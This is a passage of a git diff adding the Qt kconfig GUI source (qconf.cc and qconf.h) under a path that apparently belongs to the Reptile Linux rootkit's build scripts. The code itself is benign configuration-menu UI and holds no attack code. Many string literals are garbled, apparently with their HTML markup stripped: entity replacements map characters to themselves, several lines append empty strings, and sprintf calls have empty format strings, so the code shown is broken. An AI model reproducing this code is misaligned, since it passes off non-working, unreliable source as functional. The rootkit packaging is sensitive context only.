menuSelected(menu); + else + changeValue(item); + } + } + break; + case noColIdx: + setValue(item, no); + break; + case modColIdx: + setValue(item, mod); + break; + case yesColIdx: + setValue(item, yes); + break; + case dataColIdx: + changeValue(item); + break; + } + +skip: + //printf("contentsMouseReleaseEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseReleaseEvent(e); +} + +void ConfigList::contentsMouseMoveEvent(QMouseEvent* e) +{ + //QPoint p(contentsToViewport(e->pos())); + //printf("contentsMouseMoveEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseMoveEvent(e); +} + +void ConfigList::contentsMouseDoubleClickEvent(QMouseEvent* e) +{ + QPoint p(contentsToViewport(e->pos())); + ConfigItem* item = (ConfigItem*)itemAt(p); + struct menu *menu; + enum prop_type ptype; + + if (!item) + goto skip; + if (item->goParent) { + emit parentSelected(); + goto skip; + } + menu = item->menu; + if (!menu) + goto skip; + ptype = menu->prompt ? menu->prompt->type : P_UNKNOWN; + if (ptype == P_MENU && (mode == singleMode || mode == symbolMode)) + emit menuSelected(menu); + else if (menu->sym) + changeValue(item); + +skip: + //printf("contentsMouseDoubleClickEvent: %d,%d\n", p.x(), p.y()); + Parent::contentsMouseDoubleClickEvent(e); +} + +void ConfigList::focusInEvent(QFocusEvent *e) +{ + struct menu *menu = NULL; + + Parent::focusInEvent(e); + + ConfigItem* item = (ConfigItem *)currentItem(); + if (item) { + setSelected(item, TRUE); + menu = item->menu; + } + emit gotFocus(menu); +} + +void ConfigList::contextMenuEvent(QContextMenuEvent *e) +{ + if (e->y() <= header()->geometry().bottom()) { + if (!headerPopup) { + Q3Action *action; + + headerPopup = new Q3PopupMenu(this); + action = new Q3Action(NULL, _("Show Name"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowName(bool))); + connect(parent(), SIGNAL(showNameChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showName); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Range"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowRange(bool))); + connect(parent(), SIGNAL(showRangeChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showRange); + action->addTo(headerPopup); + action = new Q3Action(NULL, _("Show Data"), 0, this); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), + parent(), SLOT(setShowData(bool))); + connect(parent(), SIGNAL(showDataChanged(bool)), + action, SLOT(setOn(bool))); + action->setOn(showData); + action->addTo(headerPopup); + } + headerPopup->exec(e->globalPos()); + e->accept(); + } else + e->ignore(); +} + +ConfigView*ConfigView::viewList; +QAction *ConfigView::showNormalAction; +QAction *ConfigView::showAllAction; +QAction *ConfigView::showPromptAction; + +ConfigView::ConfigView(QWidget* parent, const char *name) + : Parent(parent, name) +{ + list = new ConfigList(this, name); + lineEdit = new ConfigLineEdit(this); + lineEdit->hide(); + + this->nextView = viewList; + viewList = this; +} + +ConfigView::~ConfigView(void) +{ + ConfigView** vp; + + for (vp = &viewList; *vp; vp = &(*vp)->nextView) { + if (*vp == this) { + *vp = nextView; + break; + } + } +} + +void ConfigView::setOptionMode(QAction *act) +{ + if (act == showNormalAction) + list->optMode = normalOpt; + else if (act == showAllAction) + list->optMode = allOpt; + else + list->optMode = promptOpt; + + list->updateListAll(); +} + +void ConfigView::setShowName(bool b) +{ + if (list->showName != b) { + list->showName = b; + list->reinit(); + emit showNameChanged(b); + } +} + +void ConfigView::setShowRange(bool b) +{ + if (list->showRange != b) { + list->showRange = b; + list->reinit(); + emit showRangeChanged(b); + } +} + +void ConfigView::setShowData(bool b) +{ + if (list->showData != b) { + list->showData = b; + list->reinit(); + emit showDataChanged(b); + } +} + +void ConfigList::setAllOpen(bool open) +{ + Q3ListViewItemIterator it(this); + + for (; it.current(); it++) + it.current()->setOpen(open); +} + +void ConfigView::updateList(ConfigItem* item) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateList(item); +} + +void ConfigView::updateListAll(void) +{ + ConfigView* v; + + for (v = viewList; v; v = v->nextView) + v->list->updateListAll(); +} + +ConfigInfoView::ConfigInfoView(QWidget* parent, const char *name) + : Parent(parent, name), sym(0), _menu(0) +{ + if (name) { + configSettings->beginGroup(name); + _showDebug = configSettings->readBoolEntry("/showDebug", false); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigInfoView::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/showDebug", showDebug()); + configSettings->endGroup(); + } +} + +void ConfigInfoView::setShowDebug(bool b) +{ + if (_showDebug != b) { + _showDebug = b; + if (_menu) + menuInfo(); + else if (sym) + symbolInfo(); + emit showDebugChanged(b); + } +} + +void ConfigInfoView::setInfo(struct menu *m) +{ + if (_menu == m) + return; + _menu = m; + sym = NULL; + if (!_menu) + clear(); + else + menuInfo(); +} + +void ConfigInfoView::symbolInfo(void) +{ + QString str; + + str += "Symbol: "; + str += print_filter(sym->name); + str += "

value: "; + str += print_filter(sym_get_string_value(sym)); + str += "
visibility: "; + str += sym->visible == yes ? "y" : sym->visible == mod ? "m" : "n"; + str += "
"; + str += debug_info(sym); + + setText(str); +} + +void ConfigInfoView::menuInfo(void) +{ + struct symbol* sym; + QString head, debug, help; + + sym = _menu->sym; + if (sym) { + if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += ""; + if (sym->name) { + head += " ("; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ")"; + } + } else if (sym->name) { + head += ""; + if (showDebug()) + head += QString().sprintf("", sym); + head += print_filter(sym->name); + if (showDebug()) + head += ""; + head += ""; + } + head += "

"; + + if (showDebug()) + debug = debug_info(sym); + + struct gstr help_gstr = str_new(); + menu_get_ext_help(_menu, &help_gstr); + help = print_filter(str_get(&help_gstr)); + str_free(&help_gstr); + } else if (_menu->prompt) { + head += ""; + head += print_filter(_(_menu->prompt->text)); + head += "

"; + if (showDebug()) { + if (_menu->prompt->visible.expr) { + debug += "  dep: "; + expr_print(_menu->prompt->visible.expr, expr_print_help, &debug, E_NONE); + debug += "

"; + } + } + } + if (showDebug()) + debug += QString().sprintf("defined at %s:%d

", _menu->file->name, _menu->lineno); + + setText(head + debug + help); +} + +QString ConfigInfoView::debug_info(struct symbol *sym) +{ + QString debug; + + debug += "type: "; + debug += print_filter(sym_type_name(sym->type)); + if (sym_is_choice(sym)) + debug += " (choice)"; + debug += "
"; + if (sym->rev_dep.expr) { + debug += "reverse dep: "; + expr_print(sym->rev_dep.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + for (struct property *prop = sym->prop; prop; prop = prop->next) { + switch (prop->type) { + case P_PROMPT: + case P_MENU: + debug += QString().sprintf("prompt: ", prop->menu); + debug += print_filter(_(prop->text)); + debug += "
"; + break; + case P_DEFAULT: + case P_SELECT: + case P_RANGE: + case P_ENV: + debug += prop_get_type_name(prop->type); + debug += ": "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + break; + case P_CHOICE: + if (sym_is_choice(sym)) { + debug += "choice: "; + expr_print(prop->expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + break; + default: + debug += "unknown property: "; + debug += prop_get_type_name(prop->type); + debug += "
"; + } + if (prop->visible.expr) { + debug += "    dep: "; + expr_print(prop->visible.expr, expr_print_help, &debug, E_NONE); + debug += "
"; + } + } + debug += "
"; + + return debug; +} + +QString ConfigInfoView::print_filter(const QString &str) +{ + QRegExp re("[<>&\"\\n]"); + QString res = str; + for (int i = 0; (i = res.find(re, i)) >= 0;) { + switch (res[i].latin1()) { + case '<': + res.replace(i, 1, "<"); + i += 4; + break; + case '>': + res.replace(i, 1, ">"); + i += 4; + break; + case '&': + res.replace(i, 1, "&"); + i += 5; + break; + case '"': + res.replace(i, 1, """); + i += 6; + break; + case '\n': + res.replace(i, 1, "
"); + i += 4; + break; + } + } + return res; +} + +void ConfigInfoView::expr_print_help(void *data, struct symbol *sym, const char *str) +{ + QString* text = reinterpret_cast(data); + QString str2 = print_filter(str); + + if (sym && sym->name && !(sym->flags & SYMBOL_CONST)) { + *text += QString().sprintf("", sym); + *text += str2; + *text += ""; + } else + *text += str2; +} + +Q3PopupMenu* ConfigInfoView::createPopupMenu(const QPoint& pos) +{ + Q3PopupMenu* popup = Parent::createPopupMenu(pos); + Q3Action* action = new Q3Action(NULL, _("Show Debug Info"), 0, popup); + action->setToggleAction(TRUE); + connect(action, SIGNAL(toggled(bool)), SLOT(setShowDebug(bool))); + connect(this, SIGNAL(showDebugChanged(bool)), action, SLOT(setOn(bool))); + action->setOn(showDebug()); + popup->insertSeparator(); + action->addTo(popup); + return popup; +} + +void ConfigInfoView::contentsContextMenuEvent(QContextMenuEvent *e) +{ + Parent::contentsContextMenuEvent(e); +} + +ConfigSearchWindow::ConfigSearchWindow(ConfigMainWindow* parent, const char *name) + : Parent(parent, name), result(NULL) +{ + setCaption("Search Config"); + + QVBoxLayout* layout1 = new QVBoxLayout(this, 11, 6); + QHBoxLayout* layout2 = new QHBoxLayout(0, 0, 6); + layout2->addWidget(new QLabel(_("Find:"), this)); + editField = new QLineEdit(this); + connect(editField, SIGNAL(returnPressed()), SLOT(search())); + layout2->addWidget(editField); + searchButton = new QPushButton(_("Search"), this); + searchButton->setAutoDefault(FALSE); + connect(searchButton, SIGNAL(clicked()), SLOT(search())); + layout2->addWidget(searchButton); + layout1->addLayout(layout2); + + split = new QSplitter(this); + split->setOrientation(Qt::Vertical); + list = new ConfigView(split, name); + list->list->mode = listMode; + info = new ConfigInfoView(split, name); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + info, SLOT(setInfo(struct menu *))); + connect(list->list, SIGNAL(menuChanged(struct menu *)), + parent, SLOT(setMenuLink(struct menu *))); + + layout1->addWidget(split); + + if (name) { + int x, y, width, height; + bool ok; + + configSettings->beginGroup(name); + width = configSettings->readNumEntry("/window width", parent->width() / 2); + height = configSettings->readNumEntry("/window height", parent->height() / 2); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + Q3ValueList sizes = configSettings->readSizes("/split", &ok); + if (ok) + split->setSizes(sizes); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigSearchWindow::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + configSettings->writeSizes("/split", split->sizes()); + configSettings->endGroup(); + } +} + +void ConfigSearchWindow::search(void) +{ + struct symbol **p; + struct property *prop; + ConfigItem *lastItem = NULL; + + free(result); + list->list->clear(); + info->clear(); + + result = sym_re_search(editField->text().latin1()); + if (!result) + return; + for (p = result; *p; p++) { + for_all_prompts((*p), prop) + lastItem = new ConfigItem(list->list, lastItem, prop->menu, + menu_is_visible(prop->menu)); + } +} + +/* + * Construct the complete config widget + */ +ConfigMainWindow::ConfigMainWindow(void) + : searchWindow(0) +{ + QMenuBar* menu; + bool ok; + int x, y, width, height; + char title[256]; + + QDesktopWidget *d = configApp->desktop(); + snprintf(title, sizeof(title), "%s%s", + rootmenu.prompt->text, +#if QT_VERSION < 0x040000 + " (Qt3)" +#else + "" +#endif + ); + setCaption(title); + + width = configSettings->readNumEntry("/window width", d->width() - 64); + height = configSettings->readNumEntry("/window height", d->height() - 64); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + + split1 = new QSplitter(this); + split1->setOrientation(Qt::Horizontal); + setCentralWidget(split1); + + menuView = new ConfigView(split1, "menu"); + menuList = menuView->list; + + split2 = new QSplitter(split1); + split2->setOrientation(Qt::Vertical); + + // create config tree + configView = new ConfigView(split2, "config"); + configList = configView->list; + + helpText = new ConfigInfoView(split2, "help"); + helpText->setTextFormat(Qt::RichText); + + setTabOrder(configList, helpText); + configList->setFocus(); + + menu = menuBar(); + toolBar = new Q3ToolBar("Tools", this); + + backAction = new Q3Action("Back", QPixmap(xpm_back), _("Back"), 0, this); + connect(backAction, SIGNAL(activated()), SLOT(goBack())); + backAction->setEnabled(FALSE); + Q3Action *quitAction = new Q3Action("Quit", _("&Quit"), Qt::CTRL + Qt::Key_Q, this); + connect(quitAction, SIGNAL(activated()), SLOT(close())); + Q3Action *loadAction = new Q3Action("Load", QPixmap(xpm_load), _("&Load"), Qt::CTRL + Qt::Key_L, this); + connect(loadAction, SIGNAL(activated()), SLOT(loadConfig())); + saveAction = new Q3Action("Save", QPixmap(xpm_save), _("&Save"), Qt::CTRL + Qt::Key_S, this); + connect(saveAction, SIGNAL(activated()), SLOT(saveConfig())); + conf_set_changed_callback(conf_changed); + // Set saveAction's initial state + conf_changed(); + Q3Action *saveAsAction = new Q3Action("Save As...", _("Save &As..."), 0, this); + connect(saveAsAction, SIGNAL(activated()), SLOT(saveConfigAs())); + Q3Action *searchAction = new Q3Action("Find", _("&Find"), Qt::CTRL + Qt::Key_F, this); + connect(searchAction, SIGNAL(activated()), SLOT(searchConfig())); + Q3Action *singleViewAction = new Q3Action("Single View", QPixmap(xpm_single_view), _("Single View"), 0, this); + connect(singleViewAction, SIGNAL(activated()), SLOT(showSingleView())); + Q3Action *splitViewAction = new Q3Action("Split View", QPixmap(xpm_split_view), _("Split View"), 0, this); + connect(splitViewAction, SIGNAL(activated()), SLOT(showSplitView())); + Q3Action *fullViewAction = new Q3Action("Full View", QPixmap(xpm_tree_view), _("Full View"), 0, this); + connect(fullViewAction, SIGNAL(activated()), SLOT(showFullView())); + + Q3Action *showNameAction = new Q3Action(NULL, _("Show Name"), 0, this); + showNameAction->setToggleAction(TRUE); + connect(showNameAction, SIGNAL(toggled(bool)), configView, SLOT(setShowName(bool))); + connect(configView, SIGNAL(showNameChanged(bool)), showNameAction, SLOT(setOn(bool))); + showNameAction->setOn(configView->showName()); + Q3Action *showRangeAction = new Q3Action(NULL, _("Show Range"), 0, this); + showRangeAction->setToggleAction(TRUE); + connect(showRangeAction, SIGNAL(toggled(bool)), configView, SLOT(setShowRange(bool))); + connect(configView, SIGNAL(showRangeChanged(bool)), showRangeAction, SLOT(setOn(bool))); + showRangeAction->setOn(configList->showRange); + Q3Action *showDataAction = new Q3Action(NULL, _("Show Data"), 0, this); + showDataAction->setToggleAction(TRUE); + connect(showDataAction, SIGNAL(toggled(bool)), configView, SLOT(setShowData(bool))); + connect(configView, SIGNAL(showDataChanged(bool)), showDataAction, SLOT(setOn(bool))); + showDataAction->setOn(configList->showData); + + QActionGroup *optGroup = new QActionGroup(this); + optGroup->setExclusive(TRUE); + connect(optGroup, SIGNAL(selected(QAction *)), configView, + SLOT(setOptionMode(QAction *))); + connect(optGroup, SIGNAL(selected(QAction *)), menuView, + SLOT(setOptionMode(QAction *))); + +#if QT_VERSION >= 0x040000 + configView->showNormalAction = new QAction(_("Show Normal Options"), optGroup); + configView->showAllAction = new QAction(_("Show All Options"), optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), optGroup); +#else + configView->showNormalAction = new QAction(_("Show Normal Options"), 0, optGroup); + configView->showAllAction = new QAction(_("Show All Options"), 0, optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), 0, optGroup); +#endif + configView->showNormalAction->setToggleAction(TRUE); + configView->showNormalAction->setOn(configList->optMode == normalOpt); + configView->showAllAction->setToggleAction(TRUE); + configView->showAllAction->setOn(configList->optMode == allOpt); + configView->showPromptAction->setToggleAction(TRUE); + configView->showPromptAction->setOn(configList->optMode == promptOpt); + + Q3Action *showDebugAction = new Q3Action(NULL, _("Show Debug Info"), 0, this); + showDebugAction->setToggleAction(TRUE); + connect(showDebugAction, SIGNAL(toggled(bool)), helpText, SLOT(setShowDebug(bool))); + connect(helpText, SIGNAL(showDebugChanged(bool)), showDebugAction, SLOT(setOn(bool))); + showDebugAction->setOn(helpText->showDebug()); + + Q3Action *showIntroAction = new Q3Action(NULL, _("Introduction"), 0, this); + connect(showIntroAction, SIGNAL(activated()), SLOT(showIntro())); + Q3Action *showAboutAction = new Q3Action(NULL, _("About"), 0, this); + connect(showAboutAction, SIGNAL(activated()), SLOT(showAbout())); + + // init tool bar + backAction->addTo(toolBar); + toolBar->addSeparator(); + loadAction->addTo(toolBar); + saveAction->addTo(toolBar); + toolBar->addSeparator(); + singleViewAction->addTo(toolBar); + splitViewAction->addTo(toolBar); + fullViewAction->addTo(toolBar); + + // create config menu + Q3PopupMenu* config = new Q3PopupMenu(this); + menu->insertItem(_("&File"), config); + loadAction->addTo(config); + saveAction->addTo(config); + saveAsAction->addTo(config); + config->insertSeparator(); + quitAction->addTo(config); + + // create edit menu + Q3PopupMenu* editMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Edit"), editMenu); + searchAction->addTo(editMenu); + + // create options menu + Q3PopupMenu* optionMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Option"), optionMenu); + showNameAction->addTo(optionMenu); + showRangeAction->addTo(optionMenu); + showDataAction->addTo(optionMenu); + optionMenu->insertSeparator(); + optGroup->addTo(optionMenu); + optionMenu->insertSeparator(); + + // create help menu + Q3PopupMenu* helpMenu = new Q3PopupMenu(this); + menu->insertSeparator(); + menu->insertItem(_("&Help"), helpMenu); + showIntroAction->addTo(helpMenu); + showAboutAction->addTo(helpMenu); + + connect(configList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(configList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + connect(configList, SIGNAL(parentSelected()), + SLOT(goBack())); + connect(menuList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + + connect(configList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + SLOT(listFocusChanged(void))); + connect(helpText, SIGNAL(menuSelected(struct menu *)), + SLOT(setMenuLink(struct menu *))); + + QString listMode = configSettings->readEntry("/listMode", "symbol"); + if (listMode == "single") + showSingleView(); + else if (listMode == "full") + showFullView(); + else /*if (listMode == "split")*/ + showSplitView(); + + // UI setup done, restore splitter positions + Q3ValueList sizes = configSettings->readSizes("/split1", &ok); + if (ok) + split1->setSizes(sizes); + + sizes = configSettings->readSizes("/split2", &ok); + if (ok) + split2->setSizes(sizes); +} + +void ConfigMainWindow::loadConfig(void) +{ + QString s = Q3FileDialog::getOpenFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + if (conf_read(QFile::encodeName(s))) + QMessageBox::information(this, "qconf", _("Unable to load configuration!")); + ConfigView::updateListAll(); +} + +bool ConfigMainWindow::saveConfig(void) +{ + if (conf_write(NULL)) { + QMessageBox::information(this, "qconf", _("Unable to save configuration!")); + return false; + } + return true; +} + +void ConfigMainWindow::saveConfigAs(void) +{ + QString s = Q3FileDialog::getSaveFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + saveConfig(); +} + +void ConfigMainWindow::searchConfig(void) +{ + if (!searchWindow) + searchWindow = new ConfigSearchWindow(this, "search"); + searchWindow->show(); +} + +void ConfigMainWindow::changeMenu(struct menu *menu) +{ + configList->setRootMenu(menu); + if (configList->rootEntry->parent == &rootmenu) + backAction->setEnabled(FALSE); + else + backAction->setEnabled(TRUE); +} + +void ConfigMainWindow::setMenuLink(struct menu *menu) +{ + struct menu *parent; + ConfigList* list = NULL; + ConfigItem* item; + + if (configList->menuSkip(menu)) + return; + + switch (configList->mode) { + case singleMode: + list = configList; + parent = menu_get_parent_menu(menu); + if (!parent) + return; + list->setRootMenu(parent); + break; + case symbolMode: + if (menu->flags & MENU_ROOT) { + configList->setRootMenu(menu); + configList->clearSelection(); + list = menuList; + } else { + list = configList; + parent = menu_get_parent_menu(menu->parent); + if (!parent) + return; + item = menuList->findConfigItem(parent); + if (item) { + menuList->setSelected(item, TRUE); + menuList->ensureItemVisible(item); + } + list->setRootMenu(parent); + } + break; + case fullMode: + list = configList; + break; + default: + break; + } + + if (list) { + item = list->findConfigItem(menu); + if (item) { + list->setSelected(item, TRUE); + list->ensureItemVisible(item); + list->setFocus(); + } + } +} + +void ConfigMainWindow::listFocusChanged(void) +{ + if (menuList->mode == menuMode) + configList->clearSelection(); +} + +void ConfigMainWindow::goBack(void) +{ + ConfigItem* item; + + configList->setParentMenu(); + if (configList->rootEntry == &rootmenu) + backAction->setEnabled(FALSE); + item = (ConfigItem*)menuList->selectedItem(); + while (item) { + if (item->menu == configList->rootEntry) { + menuList->setSelected(item, TRUE); + break; + } + item = (ConfigItem*)item->parent(); + } +} + +void ConfigMainWindow::showSingleView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = singleMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configList->setFocus(); +} + +void ConfigMainWindow::showSplitView(void) +{ + configList->mode = symbolMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configApp->processEvents(); + menuList->mode = menuMode; + menuList->setRootMenu(&rootmenu); + menuList->setAllOpen(TRUE); + menuView->show(); + menuList->setFocus(); +} + +void ConfigMainWindow::showFullView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = fullMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(FALSE); + configList->setFocus(); +} + +/* + * ask for saving configuration before quitting + * TODO ask only when something changed + */ +void ConfigMainWindow::closeEvent(QCloseEvent* e) +{ + if (!conf_get_changed()) { + e->accept(); + return; + } + QMessageBox mb("qconf", _("Save configuration?"), QMessageBox::Warning, + QMessageBox::Yes | QMessageBox::Default, QMessageBox::No, QMessageBox::Cancel | QMessageBox::Escape); + mb.setButtonText(QMessageBox::Yes, _("&Save Changes")); + mb.setButtonText(QMessageBox::No, _("&Discard Changes")); + mb.setButtonText(QMessageBox::Cancel, _("Cancel Exit")); + switch (mb.exec()) { + case QMessageBox::Yes: + if (saveConfig()) + e->accept(); + else + e->ignore(); + break; + case QMessageBox::No: + e->accept(); + break; + case QMessageBox::Cancel: + e->ignore(); + break; + } +} + +void ConfigMainWindow::showIntro(void) +{ + static const QString str = _("Welcome to the qconf graphical configuration tool.\n\n" + "For each option, a blank box indicates the feature is disabled, a check\n" + "indicates it is enabled, and a dot indicates that it is to be compiled\n" + "as a module. Clicking on the box will cycle through the three states.\n\n" + "If you do not see an option (e.g., a device driver) that you believe\n" + "should be present, try turning on Show All Options under the Options menu.\n" + "Although there is no cross reference yet to help you figure out what other\n" + "options must be enabled to support the option you are interested in, you can\n" + "still view the help of a grayed-out option.\n\n" + "Toggling Show Debug Info under the Options menu will show the dependencies,\n" + "which you can then match by examining other options.\n\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::showAbout(void) +{ + static const QString str = _("qconf is Copyright (C) 2002 Roman Zippel .\n\n" + "Bug reports and feature request can also be entered at http://bugzilla.kernel.org/\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::saveSettings(void) +{ + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + + QString entry; + switch(configList->mode) { + case singleMode : + entry = "single"; + break; + + case symbolMode : + entry = "split"; + break; + + case fullMode : + entry = "full"; + break; + + default: + break; + } + configSettings->writeEntry("/listMode", entry); + + configSettings->writeSizes("/split1", split1->sizes()); + configSettings->writeSizes("/split2", split2->sizes()); +} + +void ConfigMainWindow::conf_changed(void) +{ + if (saveAction) + saveAction->setEnabled(conf_get_changed()); +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + +static const char *progname; + +static void usage(void) +{ + printf(_("%s \n"), progname); + exit(0); +} + +int main(int ac, char** av) +{ + ConfigMainWindow* v; + const char *name; + + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + progname = av[0]; + configApp = new QApplication(ac, av); + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'h': + case '?': + usage(); + } + name = av[2]; + } else + name = av[1]; + if (!name) + usage(); + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + //zconfdump(stdout); + + configSettings = new ConfigSettings(); + configSettings->beginGroup("/kconfig/qconf"); + v = new ConfigMainWindow(); + + //zconfdump(stdout); + configApp->setMainWidget(v); + configApp->connect(configApp, SIGNAL(lastWindowClosed()), SLOT(quit())); + configApp->connect(configApp, SIGNAL(aboutToQuit()), v, SLOT(saveSettings())); + v->show(); + configApp->exec(); + + configSettings->endGroup(); + delete configSettings; + + return 0; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/qconf.h b/Linux/Rootkits/Reptile/scripts/kconfig/qconf.h new file mode 100644 index 0000000..bde0c6b --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/qconf.h @@ -0,0 +1,338 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#if QT_VERSION < 0x040000 +#include +#else +#include +#endif +#include + +#if QT_VERSION < 0x040000 +#define Q3ValueList QValueList +#define Q3PopupMenu QPopupMenu +#define Q3ListView QListView +#define Q3ListViewItem QListViewItem +#define Q3VBox QVBox +#define Q3TextBrowser QTextBrowser +#define Q3MainWindow QMainWindow +#define Q3Action QAction +#define Q3ToolBar QToolBar +#define Q3ListViewItemIterator QListViewItemIterator +#define Q3FileDialog QFileDialog +#endif + +class ConfigView; +class ConfigList; +class ConfigItem; +class ConfigLineEdit; +class ConfigMainWindow; + +class ConfigSettings : public QSettings { +public: + ConfigSettings(); + Q3ValueList readSizes(const QString& key, bool *ok); + bool writeSizes(const QString& key, const Q3ValueList& value); +}; + +enum colIdx { + promptColIdx, nameColIdx, noColIdx, modColIdx, yesColIdx, dataColIdx, colNr +}; +enum listMode { + singleMode, menuMode, symbolMode, fullMode, listMode +}; +enum optionMode { + normalOpt = 0, allOpt, promptOpt +}; + +class ConfigList : public Q3ListView { + Q_OBJECT + typedef class Q3ListView Parent; +public: + ConfigList(ConfigView* p, const char *name = 0); + void reinit(void); + ConfigView* parent(void) const + { + return (ConfigView*)Parent::parent(); + } + ConfigItem* findConfigItem(struct menu *); + +protected: + void keyPressEvent(QKeyEvent *e); + void contentsMousePressEvent(QMouseEvent *e); + void contentsMouseReleaseEvent(QMouseEvent *e); + void contentsMouseMoveEvent(QMouseEvent *e); + void contentsMouseDoubleClickEvent(QMouseEvent *e); + void focusInEvent(QFocusEvent *e); + void contextMenuEvent(QContextMenuEvent *e); + +public slots: + void setRootMenu(struct menu *menu); + + void updateList(ConfigItem *item); + void setValue(ConfigItem* item, tristate val); + void changeValue(ConfigItem* item); + void updateSelection(void); + void saveSettings(void); +signals: + void menuChanged(struct menu *menu); + void menuSelected(struct menu *menu); + void parentSelected(void); + void gotFocus(struct menu *); + +public: + void updateListAll(void) + { + updateAll = true; + updateList(NULL); + updateAll = false; + } + ConfigList* listView() + { + return this; + } + ConfigItem* firstChild() const + { + return (ConfigItem *)Parent::firstChild(); + } + int mapIdx(colIdx idx) + { + return colMap[idx]; + } + void addColumn(colIdx idx, const QString& label) + { + colMap[idx] = Parent::addColumn(label); + colRevMap[colMap[idx]] = idx; + } + void removeColumn(colIdx idx) + { + int col = colMap[idx]; + if (col >= 0) { + Parent::removeColumn(col); + colRevMap[col] = colMap[idx] = -1; + } + } + void setAllOpen(bool open); + void setParentMenu(void); + + bool menuSkip(struct menu *); + + template + void updateMenuList(P*, struct menu*); + + bool updateAll; + + QPixmap symbolYesPix, symbolModPix, symbolNoPix; + QPixmap choiceYesPix, choiceNoPix; + QPixmap menuPix, menuInvPix, menuBackPix, voidPix; + + bool showName, showRange, showData; + enum listMode mode; + enum optionMode optMode; + struct menu *rootEntry; + QColorGroup disabledColorGroup; + QColorGroup inactivedColorGroup; + Q3PopupMenu* headerPopup; + +private: + int colMap[colNr]; + int colRevMap[colNr]; +}; + +class ConfigItem : public Q3ListViewItem { + typedef class Q3ListViewItem Parent; +public: + ConfigItem(Q3ListView *parent, ConfigItem *after, struct menu *m, bool v) + : Parent(parent, after), menu(m), visible(v), goParent(false) + { + init(); + } + ConfigItem(ConfigItem *parent, ConfigItem *after, struct menu *m, bool v) + : Parent(parent, after), menu(m), visible(v), goParent(false) + { + init(); + } + ConfigItem(Q3ListView *parent, ConfigItem *after, bool v) + : Parent(parent, after), menu(0), visible(v), goParent(true) + { + init(); + } + ~ConfigItem(void); + void init(void); + void okRename(int col); + void updateMenu(void); + void testUpdateMenu(bool v); + ConfigList* listView() const + { + return (ConfigList*)Parent::listView(); + } + ConfigItem* firstChild() const + { + return (ConfigItem *)Parent::firstChild(); + } + ConfigItem* nextSibling() const + { + return (ConfigItem 